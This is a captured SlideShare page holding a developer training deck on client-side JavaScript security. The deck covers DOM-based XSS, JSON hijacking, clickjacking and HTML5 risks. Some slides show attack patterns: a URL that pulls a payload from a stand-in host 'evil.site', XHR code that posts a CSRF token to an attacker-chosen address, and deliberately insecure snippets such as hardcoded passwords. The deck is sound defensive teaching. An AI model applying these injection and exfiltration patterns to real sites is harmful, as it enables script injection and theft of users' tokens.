The Art Pastor's Guide to Sabbath | Steve Thomason
The Art Pastor's Guide to Sabbath | Steve ThomasonThe Art Pastor's Guide to Sabbath | Steve Thomason
The Art Pastor's Guide to Sabbath | Steve ThomasonSteve Thomason
 
Industrial Training Report- AKTU Industrial Training Report
Industrial Training Report- AKTU Industrial Training ReportIndustrial Training Report- AKTU Industrial Training Report
Industrial Training Report- AKTU Industrial Training ReportAvinash Rai
 
Open Educational Resources Primer PowerPoint
Open Educational Resources Primer PowerPointOpen Educational Resources Primer PowerPoint
Open Educational Resources Primer PowerPointELaRue0
 
Basic Civil Engg Notes_Chapter-6_Environment Pollution & Engineering
Basic Civil Engg Notes_Chapter-6_Environment Pollution & EngineeringBasic Civil Engg Notes_Chapter-6_Environment Pollution & Engineering
Basic Civil Engg Notes_Chapter-6_Environment Pollution & EngineeringDenish Jangid
 
Dementia (Alzheimer & vasular dementia).
Dementia (Alzheimer & vasular dementia).Dementia (Alzheimer & vasular dementia).
Dementia (Alzheimer & vasular dementia).Mohamed Rizk Khodair
 
[GDSC YCCE] Build with AI Online Presentation
[GDSC YCCE] Build with AI Online Presentation[GDSC YCCE] Build with AI Online Presentation
[GDSC YCCE] Build with AI Online PresentationGDSCYCCE
 

Recently uploaded (20)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 
size separation d pharm 1st year pharmaceutics
size separation d pharm 1st year pharmaceuticssize separation d pharm 1st year pharmaceutics
size separation d pharm 1st year pharmaceutics
 
The Last Leaf, a short story by O. Henry
The Last Leaf, a short story by O. HenryThe Last Leaf, a short story by O. Henry
The Last Leaf, a short story by O. Henry
 
Application of Matrices in real life. Presentation on application of matrices
Application of Matrices in real life. Presentation on application of matricesApplication of Matrices in real life. Presentation on application of matrices
Application of Matrices in real life. Presentation on application of matrices
 
Championnat de France de Tennis de table/
Championnat de France de Tennis de table/Championnat de France de Tennis de table/
Championnat de France de Tennis de table/
 
Basic phrases for greeting and assisting costumers
Basic phrases for greeting and assisting costumersBasic phrases for greeting and assisting costumers
Basic phrases for greeting and assisting costumers
 
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17
Removal Strategy _ FEFO _ Working with Perishable Products in Odoo 17
 
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...
UNIT – IV_PCI Complaints: Complaints and evaluation of complaints, Handling o...
 
ppt your views.ppt your views of your college in your eyes
ppt your views.ppt your views of your college in your eyesppt your views.ppt your views of your college in your eyes
ppt your views.ppt your views of your college in your eyes
 
How to Break the cycle of negative Thoughts
How to Break the cycle of negative ThoughtsHow to Break the cycle of negative Thoughts
How to Break the cycle of negative Thoughts
 
NCERT Solutions Power Sharing Class 10 Notes pdf
NCERT Solutions Power Sharing Class 10 Notes pdfNCERT Solutions Power Sharing Class 10 Notes pdf
NCERT Solutions Power Sharing Class 10 Notes pdf
 
Neurulation and the formation of the neural tube
Neurulation and the formation of the neural tubeNeurulation and the formation of the neural tube
Neurulation and the formation of the neural tube
 
The Benefits and Challenges of Open Educational Resources
The Benefits and Challenges of Open Educational ResourcesThe Benefits and Challenges of Open Educational Resources
The Benefits and Challenges of Open Educational Resources
 
Salient features of Environment protection Act 1986.pptx
Salient features of Environment protection Act 1986.pptxSalient features of Environment protection Act 1986.pptx
Salient features of Environment protection Act 1986.pptx
 
The Art Pastor's Guide to Sabbath | Steve Thomason
The Art Pastor's Guide to Sabbath | Steve ThomasonThe Art Pastor's Guide to Sabbath | Steve Thomason
The Art Pastor's Guide to Sabbath | Steve Thomason
 
Industrial Training Report- AKTU Industrial Training Report
Industrial Training Report- AKTU Industrial Training ReportIndustrial Training Report- AKTU Industrial Training Report
Industrial Training Report- AKTU Industrial Training Report
 
Open Educational Resources Primer PowerPoint
Open Educational Resources Primer PowerPointOpen Educational Resources Primer PowerPoint
Open Educational Resources Primer PowerPoint
 
Basic Civil Engg Notes_Chapter-6_Environment Pollution & Engineering
Basic Civil Engg Notes_Chapter-6_Environment Pollution & EngineeringBasic Civil Engg Notes_Chapter-6_Environment Pollution & Engineering
Basic Civil Engg Notes_Chapter-6_Environment Pollution & Engineering
 
Dementia (Alzheimer & vasular dementia).
Dementia (Alzheimer & vasular dementia).Dementia (Alzheimer & vasular dementia).
Dementia (Alzheimer & vasular dementia).
 
[GDSC YCCE] Build with AI Online Presentation
[GDSC YCCE] Build with AI Online Presentation[GDSC YCCE] Build with AI Online Presentation
[GDSC YCCE] Build with AI Online Presentation
 

Secure java script-for-developers

  • 1. Secure JavaScript for Developers Trainer: Lavakumar Kuppan @lavakumark http://www.andlabs.org
  • 2. About • Author of IronWASP and several other tools • Security Researcher • Former Penetration Tester • Recipient of Nullcon BlackShield Luminaire Award • Frequent Speaker at Security Conferences http://lavakumar.com
  • 3. Research Attack and Defense Labs Repository of all Research and Tools http://www.andlabs.org HTML5 Security, Browser-side Security Topics of interest #5 on Top 10 Web Hacks of 2010 CSRF-protection bypass using HPP and ClickJacking
  • 4. Tools IronWASP Web Application Security Testing Platform Ravan JavaScript based Distributed Computing System JS-RECON HTML5 based JavaScript Network Recon Tool Imposter Browser Phishing Framework Shell of the Future XSS Reverse Web Shell
  • 5.  Importance of JavaScript Security  DOM based XSS – Introduction – Sources & Sinks – Identifying DOM based XSS – Mitigating DOM based XSS – Lab Session Outline
  • 6.  JSON Security – JSON Parsing – JSON Hijacking  Clickjacking Protection – What doesn’t work – What works Outline (cont..)
  • 7.  HTML5 Security – Cross Origin Requests – Client-side Persistent Storage – postMessage  Things to avoid doing in JavaScript Outline (cont..)
  • 9.  JavaScript cannot have Security issues  Secure Coding is a Server-side concern  All my data is stored on the Server-side  All critical actions are performed on the Server-side Myths
  • 10.  JavaScript Security is as important as Serve-side Security  All Server-side Data can be accessed from the browser with JavaScript  All Server-side Functionality can be called from the browser with JavaScript  Client-side Storage is gaining prominence (HTML5)  Client-side logic is on the rise Reality
  • 12.  Most important JavaScript Security issue  Script Injection purely on the client-side  Attacker controlled data injected in to the DOM/JavaScript  Involves a Source and a Sink DOM Based XSS
  • 13.  DOM Properties that can be influenced by an attacker  Types: – Location based – Client-side Storage based – Navigation based – Cross-domain Source
  • 14.  location  location.hash  location.href  location.pathname  location.search  document.URL  document.baseURI  document.documentURI  document. URLUnencoded Location based Source
  • 15.  document.cookie  sessionStorage*  localStorage*  Web SQL Database*  Indexed DB* * HTML5 Client-side Storage Based
  • 16.  window.name  document.referrer  history (HTML5) Navigation Based
  • 17.  postMessage*  XHR call responses from 3rd party JavaScript API  JSON calls backs from 3rd party JavaScript API *HTML5 Cross-domain
  • 18.  DOM Properties, JavaScript functions and other client-side entities that can lead to or influence client-side code execution  Types: – Execution based – Url Based – HTML Based – Others Sinks
  • 19.  eval()  Function()  setTimeout()  setInterval()  execScript() (IE Only)  crypto.generateCRMFRequest() (FF Only) Execution Based
  • 20.  location  location.assign()  location.replace()  location.href  location.protocol*  location.search*  location.hostname*  location.pathname* *Indirect impact Url Based
  • 21.  document.write()  document.writeln()  HTML Elements  HTML Element Attributes – ‘src’ – onclick, onload, onerror etc – Form action – href HTML Based
  • 22.  XHR Calls – open() – send() – setRequestHeader()  postMessage  Client-side Storage  JavaScript variables Others
  • 23.  JavaScript Static Analysis – Identify Sources and Follow them in to Sinks – Run Regex on JavaScript code – IronWASP  JavaScript Runtime Analysis – Requires the execution of JavaScript in the page – Alerts when Sources/Sinks are called during execution – Dominator – DOM Snitch Identifying DOM Based XSS
  • 24.  Avoid Sources and Sinks as much as possible  Perform rigorous white-list based filtering on Sources  Perform proper encoding before sending to Sink  ESAPI4JS to help with encoding and filtering Mitigating DOM Based XSS
  • 25.  DOM XSS Wiki http://code.google.com/p/domxsswiki  DOM Snitch http://code.google.com/p/domsnitch References
  • 27.  Has become the standard format to send data to JavaScript  Subset of JavaScript  Only a data format but : – Improper JSON Parsing can lead to Security issues – Improper formatting can lead to JSON Hijacking JSON Security
  • 28.  JSON data is sent as text from the server  Must convert this to JavaScript object  JSON.parse() is the right and safe way to do it  Older browsers don’t support JSON.parse()  So eval() is used instead var js_obj = eval(‘(‘ + json_string + ‘)’)  This is where the trouble begins JSON Parsing
  • 29.  If JSON data is user controlled/from 3rd party then it is poisoned  Calling eval() on such JSON leads to XSS  Filtering & Encoding JSON string before calling eval() does not help  Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js instead JavaScript Injected in to JSON
  • 30.  Proper JSON Validation http://blog.kotowicz.net/2011/08/death-to-filters- how-to-validate-json.html  JSON Validation Bypass http://blog.mindedsecurity.com/2011/08/ye-olde- crockford-json-regexp-is.html References
  • 31.  JSON is a sub-set of JavaScript  JavaScript can be loaded and executed from external websites <script src=“http://www.google-analytics.com/urchin.js”>  JSON can also be loaded by external websites <script src=“http://victim.site/getUsers”>  Structure of the JSON string will determine if external sites can read it JSON Hijacking
  • 32.  [{“name”:”lava”}] This is a JavaScript Array and can be hijacked by external sites If attacker controls some part of this string then UTF-7 data can be injected to improve attack’s effectiveness  callback_function({“name”:”lava”}) This is a valid JavaScript function and can be hijacked by external sites Troublesome Formats
  • 34.  Safe JSON Format: {“name”:”lava”}  Safe JSON Parsing: JSON.parse() – Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js to emulate JSON.parse() in older browsers Safe JSON
  • 36.  ClickJacking is performed by including the target page in an iframe of another page  Obvious solution appears to be to prevent the page from loading in an iframe  Most developers use FrameBusting for this  Some use CSRF-tokens in the URL to prevent this ClickJacking Protection
  • 37.  Relies on JavaScript  Fail-open model  Can be bypassed by: – Double Framing – Cancelling unload – No-Content Flushing – Abusing browser-based XSS Filters – Iframe Sandboxing (HTML5) Problems with Framebusting approach
  • 38.  CSRF-token in URL is set by the server  But there must be some initial URL which does not have this token  This URL is usually the home page that the user types in the Address bar  Attacker can include this page in iframe and ClickJack his way through to the target page Problems with CSRF-tokens in URL approach
  • 39.  On server-side use X-FRAME-OPTIONS header  On the client-side use a fail-close model to framebusting  By default the page must be unusable – Set the CSS ‘display’ property to ‘none‘  If the page is no in an iframe the set ‘display’ to ‘block’  References: OWASP ClickJacking Protection https://www.owasp.org/index.php/Clickjacking Best way to Mitigate ClickJacking
  • 41.  Originally Ajax calls were subject to Same Origin Policy  Site A cannot make XMLHttpRequests to Site B  HTML5 makes it possible to make these cross domain calls  Site A can now make XMLHttpRequests to Site B as long as Site B allows it.  Response from Site B should include a header:  Access-Control-Allow-Origin: Site A Cross Origin Requests
  • 42.  Have you seen URLs like these: http://www.example.com/#index.php  Inside the page: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html> Client-side File Includes
  • 43.  This design though flawed was difficult to exploit earlier  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  Contents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!! Client-side File Includes (contd..)
  • 44.  COR makes XMLHttpRequest as a dangerous DOM based XSS sink  Responses of XHR are consumed in many websites in different ways. Eg: JSON, XML HTML  Since this data is supposed to be from same domain they are usually not validated  Huge potential for XSS vulnerabilities Client-side File Includes (contd..)
  • 45.  Here the focus is not on the response of XHR  But instead it is the request that matters  Sites send a lot of sensitive data to the server using XHR  If the URL of the XHR is made to point to the attacker’s website, then this data is sent to attacker’s server Eg: x = new XMLHttpRequest(); x.open(“POST",location.hash.substring(1)); x.send(“a=1&b=2&csrf-token=k34wo9s3l”); Cross-site Posting
  • 46.  HTML5 introduces several Persistent Client-side Storage options: – localStorage – WebSQL – IndexedDB  Devs tempted to store sensitive data on client- side Eg: Offline Gmail stores the entire Inbox on the client-side  Storing data over HTTP is vulnerable to DNS Spoofing attacks Client-side Persistent Storage
  • 47.  HTML5 API for sending/receiving data between frames of different origins  API has the option to explicitly mention the target domain when sending message  Don’t use ‘*’ to invalidate this security measure  API has option to check the source of the message  Always perform this check before using the data from external frames  Don’t trust data from 3rd party, always validate it postMessage
  • 48.  HTML5 Quick Reference Guide http://www.andlabs.org/html5.html  Cross Origin Requests Security http://code.google.com/p/html5security/wiki/Cros sOriginRequestSecurity  Web SQL Database Security http://code.google.com/p/html5security/wiki/Web SQLDatabaseSecurity  Mozilla Developer Network – postMessage https://developer.mozilla.org/en/DOM/window.po stMessage References
  • 49. Things to avoid doing in JavaScript
  • 50.  JavaScript runs in the user’s environment  User has full control over it  Impossible to prevent user from reading JavaScript code  Disabling right-click DOES NOT WORK Some Basic Facts
  • 51. if(user == “admin” && passwd = “s3cr3t”) { window.location = “admin.php” } else { window.location = “login.php” }* *Stop laughing, this is a real-life example Authentication
  • 52. var auth_result = check_creds(uname,pwd); if(!auth_result) { failed_login_count++; if(failed_login_count > 3) { document.cookie = “account_locked = 1”; } } Security Controls
  • 53. if(promo_code == “ER290U”) { discount_percent = 50; } else { discount_percent = 10; } Expose Business Logic or Sensitive Information
  • 54.  Client-side only Validation  Crypto, almost always a bad idea  Storing sensitive data in client-side stores over HTTP  References: Common Sense Things to Avoid (contd..)